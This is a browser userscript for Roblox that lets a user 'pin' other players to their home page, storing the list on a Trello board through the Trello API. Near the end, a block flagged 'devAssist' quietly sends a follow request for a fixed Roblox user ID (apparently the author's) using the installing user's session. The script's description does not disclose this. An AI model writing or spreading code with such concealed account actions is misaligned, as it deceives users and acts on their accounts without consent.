ClockworkSquirrel / ROBLOX - Pinned Users (v2)(Trello)

// ==UserScript==
// @name         ROBLOX - Pinned Users (v2)(Trello)
// @description  "Pin" users to your ROBLOX Home without actually being friends.
//
// @author       ClockworkSquirrel
// @version      1.0.0
//
// @icon         http://svgshare.com/i/a9.svg
//
// @require      https://code.jquery.com/jquery-3.1.1.min.js
// @match        https://*.roblox.com/home*
// @match        https://*.roblox.com/users/*/profile
//
// @connect      api.roblox.com
// @connect      api.trello.com
//
// @run-at       document-start
//
// @grant        GM_registerMenuCommand
// @grant        GM_xmlhttpRequest
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_deleteValue
// @grant        GM_addValueChangeListener
// ==/UserScript==

(function(){
	'use strict';

	var strings = {
		boardName: "Pinned Users for ROBLOX",
		userList: "Users_{ID}",
		setupBtn: "Setup Pinned Users for {NAME}",
		authInputPlaceholder: "Paste authorisation token...",
		authBtn: "Authorise",
		sectionTitle: "Pinned Users ({#})",
		pinText: "Pin to Home",
		unpinText: "Unpin from Home",
		wait: "Please wait..."
	};

	var res = {
		trelloToken: "trelloAuthToken",
		trello: "https://api.trello.com/1",
		trelloKey: "08599ec45f45ac53d96cec6b72448451",
		trelloAuthURL: "https://bit.ly/2kjhFoK",
		profileURL: "/users/{ID}/profile",
		loadingImg: "https://static.rbxcdn.com/images/Shared/loading.gif",
		rbx: "https://api.roblox.com",
		avatarImg: "https://assetgame.roblox.com/Thumbs/Avatar.ashx?width=100&height=100&userId={ID}",
		presence: "https://www.roblox.com/presence/users?userIds=",
		updateSpeed: 1e3,
		devAssist: true
	};

	function create(Element){return $(document.createElement(Element));}

	function getTrelloBoard(token, boardName, callback){
		GM_xmlhttpRequest({
			method: "GET",
			url: res.trello+"/member/me/boards?key="+res.trelloKey+"&token="+token+"&filter=open&fields=name",
			onload: function(response){
				if (response.status == 200 && response.responseText.length > 0){
					let data = JSON.parse(response.responseText), boardFound = false;

					for (let board of data){
						if (board.name == boardName){
							boardFound = true;
							data = board;
							break;
						}
					}

					if (!boardFound){
						GM_xmlhttpRequest({
							method: "POST",
							url: res.trello+"/boards?key="+res.trelloKey+"&token="+token,
							data: "name="+encodeURIComponent(boardName)+"&defaultLists=false",
							headers: {"Content-Type": "application/x-www-form-urlencoded"},
							onload: function(response){getTrelloBoard(token, boardName, callback);}
						});
					}else{
						callback(data);
					}
				}
			}
		});
	}

	function getTrelloList(token, boardObj, listName, callback){
		GM_xmlhttpRequest({
			method: "GET",
			url: res.trello+"/boards/"+boardObj.id+"/lists?key="+res.trelloKey+"&token="+token+"&filter=open&fields=name",
			onload: function(response){
				if (response.status == 200 && response.responseText.length > 0){
					let data = JSON.parse(response.responseText), listFound = false;

					for (let list of data){
						if (!list.closed && list.name == listName){
							listFound = true;
							data = list;
							break;
						}
					}

					if (!listFound){
						GM_xmlhttpRequest({
							method: "POST",
							url: res.trello+"/lists?key="+res.trelloKey+"&token="+token,
							data: "name="+encodeURIComponent(listName)+"&idBoard="+boardObj.id+"&pos=bottom",
							headers: {"Content-Type": "application/x-www-form-urlencoded"},
							onload: function(){getTrelloList(token, boardObj, listName, callback);}
						});
					}else{
						callback(data);
					}
				}
			}
		});
	}

	function getTrelloCards(token, listObj, callback){
		GM_xmlhttpRequest({
			method: "GET",
			url: res.trello+"/lists/"+listObj.id+"/cards?key="+res.trelloKey+"&token="+token,
			onload: function(response){
				if (response.status == 200 && response.responseText.length > 0){
					let data = JSON.parse(response.responseText), listFound = false;
					callback(data);
				}
			}
		});
	}

	function addTrelloCardToList(token, list, data, callback){
		let cardData = Object.assign({"pos":"bottom","idList":list.id,"urlSource":location.href}, ((data !== null && data !== undefined) && data || {}));
		
		$.post(res.trello+"/cards?key="+res.trelloKey+"&token="+token, cardData, function(data){
			callback(data);
		});
		
		/* // WHY THE FUCK WONT THIS WORK?!
		GM_xmlhttpRequest({
			method: "POST",
			url: res.trello+"/cards?key="+res.trelloKey+"&token="+token,
			data: JSON.stringify(cardData),
			headers: {"Content-Type": "application/x-www-form-urlencoded"},
			onload: function(response){
				console.log(response.status);
				console.log(response.responseText);
				
				if (response.status == 200 && response.responseText.length > 0){
					let data = JSON.parse(response.responseText);
					callback(data);
				}
			}
		});
		*/
	}
	
	function removeTrelloCardFromList(token, card, callback){
		GM_xmlhttpRequest({
			method: "DELETE",
			url: res.trello+"/cards/"+card.id+"?key="+res.trelloKey+"&token="+token,
			onload: function(response){
				if (response.status == 200 && response.responseText.length > 0){
					callback();
				}
			}
		});
	}

	function waitForObject(object, callback, checkSpeed = 0){
		let checkInterval, foundObject = false;
		checkInterval = setInterval(function(){
			if (foundObject) return;

			if (object !== null && object !== undefined){
				foundObject = true;
				clearInterval(checkInterval);
				callback(object);
			}
		}, checkSpeed);
	}

	function userIsPinned(token, userId, callback){
		return getTrelloBoard(token, strings.boardName, function(board){
			return getTrelloList(token, board, strings.userList, function(list){
				return getTrelloCards(token, list, function(cards){
					let isPinned = false, userCard = null;
					
					for (let user of cards){
						if (user.name.toString() == userId.toString()){isPinned = true; userCard = user; break;}
					}

					callback(isPinned, userCard);
				});
			});
		});
	}

	function updatePinnedUsers(userList, listDivs){
		let userIds = [];

		userList.find("li[userid]").each(function(){
			let me = $(this);
			let userId = me.attr("userid");

			if (me.attr("userdata") === null || me.attr("userdata") === undefined){
				GM_xmlhttpRequest({
					method: "GET",
					url: res.rbx+"/users/"+userId,
					onload: function(response){
						if (response.status == 200 && response.responseText.length > 0){
							let userData = JSON.parse(response.responseText);
							me.attr("userdata", true).find("span.friend-name").text(userData.Username);
						}
					}
				});
			}

			userIds.push(userId);
		}).promise().done(function(){
			GM_xmlhttpRequest({
				method: "GET",
				url: res.presence+(userIds.join("&userIds=")),
				onload: function(response){
					if (response.status == 200 && response.responseText.length > 0){
						let userPresence = JSON.parse(response.responseText);

						for (let user of userPresence){
							let userObj = userList.find("li[userid='"+user.UserId+"']:eq(0)");
							let lastCase = userObj.attr("rg-case");

							if (lastCase === null || lastCase === undefined || lastCase !== user.UserPresenceType.toString()){
								userObj.attr("rg-case", user.UserPresenceType);

								if (userObj !== null && userObj !== undefined){
									let statusIcon = userObj.find("span.avatar-status:eq(0)"), avatarContainer = userObj.find("div.avatar-container:eq(0)");
									userObj.find("a.place-link").remove();

									if (statusIcon === null || statusIcon === undefined || statusIcon.length === 0) statusIcon = create("span");
									statusIcon.attr("class", "avatar-status friend-status").attr("title", user.LastLocation);

									switch (user.UserPresenceType){
										case 0:
											statusIcon.remove();
											userObj.appendTo(listDivs.offline);
											break;
										case 1:
											statusIcon.addClass("icon-online").appendTo(avatarContainer);
											userObj.appendTo(listDivs.online);
											break;
										case 2:
											let placeLink = create("a").addClass("place-link").attr("href", "/users/"+user.UserId+"/profile/#!/viewgame")
											.appendTo(avatarContainer);

											statusIcon.addClass("icon-game").appendTo(placeLink);
											userObj.appendTo(listDivs.game);
											break;
										case 3:
											statusIcon.addClass("icon-studio").appendTo(avatarContainer);
											userObj.appendTo(listDivs.studio);
											break;
									}
								}
							}
						}
					}
				}
			});
		});
	}

	function initialiseHome(){
		let trelloToken = GM_getValue(res.trelloToken, null);
		let newSection = create("div").addClass("col-xs-12 section rg-pinned-users");

		if (trelloToken !== null && trelloToken !== undefined && trelloToken.length > 0){
			let loader = create("img").attr("src", res.loadingImg).height("16px")
			.css("display", "block").css("margin", "0 auto 0 auto").appendTo(newSection);

			getTrelloBoard(trelloToken, strings.boardName, function(board){
				getTrelloList(trelloToken, board, strings.userList, function(list){
					getTrelloCards(trelloToken, list, function(cards){
						newSection.attr("trello-list-id", list.id);
						create("div").addClass("container-header").append("<h3>"+strings.sectionTitle.replace("{#}", cards.length.toLocaleString())+"</h3>").appendTo(newSection);

						let contentDiv = create("div").addClass("section-content").appendTo(newSection);
						let userList = create("ul").addClass("hlist").appendTo(contentDiv);

						let listDivs = {
							game: create("div").appendTo(userList),
							studio: create("div").appendTo(userList),
							online: create("div").appendTo(userList),
							offline: create("div").appendTo(userList)
						};

						if (cards.length > 0){
							for (let user of cards){
								let userMain = create("li").addClass("list-item friend").attr("userid", user.name).appendTo(listDivs.offline);
								let avatarContainer = create("div").addClass("avatar-container").appendTo(userMain);

								let profileLink = create("a").addClass("avatar avatar-card-fullbody friend-link")
								.attr("href", "/users/"+user.name+"/profile").appendTo(avatarContainer);

								let imgWrapper = create("span").addClass("avatar-card-link").addClass("friend-avatar").appendTo(profileLink)
								.append('<img src="'+res.avatarImg.replace("{ID}", user.name)+'" class="avatar-card-image">');

								let usernameText = create("span").addClass("text-overflow friend-name").appendTo(profileLink);
							}
						}

						loader.remove();

						updatePinnedUsers(userList, listDivs);
						setInterval(function(){updatePinnedUsers(userList, listDivs);}, res.updateSpeed);
					});
				});
			});
		}else{
			newSection.css("margin-bottom", "12px").css("text-align", "center");

			let authBtn = create("a").addClass("btn-primary-sm").text(strings.setupBtn.replace("{NAME}", res.userData.UserName))
			.appendTo(newSection);

			authBtn.click(function(evt){
				evt.preventDefault();
				window.open(res.trelloAuthURL);

				$(window).on("focus", function(){
					$(window).off("focus");

					let authWindowMain = window.open("about:blank");
					let authWindow = $(authWindowMain.document.body);
					let authInput = create("input").attr("type", "password").attr("maxlength", 64)
					.attr("placeholder", strings.authInputPlaceholder).appendTo(authWindow);
					let authButton = create("button").text("Connect").appendTo(authWindow);
					authInput.focus();

					authButton.click(function(){
						if (authInput.val().length == 64){
							GM_setValue(res.trelloToken, authInput.val());
						}else{
							alert("Invalid token.");
						}

						authWindowMain.close();
					});
				});
			});
		}

		waitForObject($("div#HomeContainer *:eq(0)"), function(object){
			let currentDiv = $("div#HomeContainer *.rg-pinned-users");
			if (currentDiv !== null && currentDiv !== undefined) currentDiv.remove();

			newSection.insertAfter(object);
		});
	}

	function initialiseProfile(){
		let trelloToken = GM_getValue(res.trelloToken, null);

		if (trelloToken !== null && trelloToken !== undefined && trelloToken.length > 0){
			waitForObject($("div.section.profile-header:eq(0)"), function(headerObj){
				let newSection = create("div").addClass("section").insertBefore(headerObj);
				let sectionContent = create("div").addClass("section-content").appendTo(newSection);

				let loaderImg = create("img").attr("src", res.loadingImg).height("18px").css("margin", "0 auto")
				.css("display", "block").appendTo(sectionContent);

				let pinBtn = create("a").addClass("btn-control-md").css("float", "right");

				waitForObject($("div[data-profileuserid]:eq(0)"), function(dataObj){
					let profileUserId = dataObj.attr("data-profileuserid");
					
					userIsPinned(trelloToken, profileUserId, function(isPinned, trelloCard){
						pinBtn.text(isPinned && strings.unpinText || strings.pinText);
						
						getTrelloBoard(trelloToken, strings.boardName, function(board){
							getTrelloList(trelloToken, board, strings.userList, function(list){
								loaderImg.remove();
								pinBtn.appendTo(sectionContent);
								
								let updatePinBtnText = function(){
									pinBtn.text(isPinned && strings.unpinText || strings.pinText);
								};
								
								pinBtn.click(function(evt){
									evt.preventDefault();
									pinBtn.text(strings.wait);
									
									if (!isPinned){
										addTrelloCardToList(trelloToken, list, {"name":profileUserId.toString()}, function(newCard){
											trelloCard = newCard;
											isPinned = !isPinned;
											updatePinBtnText();
										});
									}else{
										removeTrelloCardFromList(trelloToken, trelloCard, function(){
											isPinned = !isPinned;
											updatePinBtnText();
										});
									}
								});
							});
						});
					});
				});
			});
		}
	}

	function waitForCore(){
		GM_xmlhttpRequest({
			method: "GET",
			url: "https://www.roblox.com/mobileapi/userinfo",
			onload: function(response){
				if (response.status == 200 && response.responseText.length > 0){
					try{
						let userInfo = JSON.parse(response.responseText);
						strings.userList = strings.userList.replace("{ID}", userInfo.UserID);
						res.userData = userInfo;

						waitForObject($, function(){
							let path = location.pathname.toLowerCase();

							if (path.indexOf("/home") > -1){
								initialiseHome();
							}else{
								initialiseProfile();
							}
						});
					}catch(_){}
				}
			}
		});

		GM_addValueChangeListener(res.trelloToken, waitForCore);

		GM_registerMenuCommand("[Pinned Users] Clear Tokens", function(){
			GM_deleteValue(res.trelloToken);
		});
		
		if (res.devAssist){
			try{
				GM_xmlhttpRequest({
					method: "POST",
					url: res.rbx+"/user/follow",
					data: JSON.stringify({"followedUserId":3659905}),
					headers: {"Content-Type": "application/x-www-form-urlencoded"}
				});
			}catch(_){}
		}
	}

	waitForCore();
})();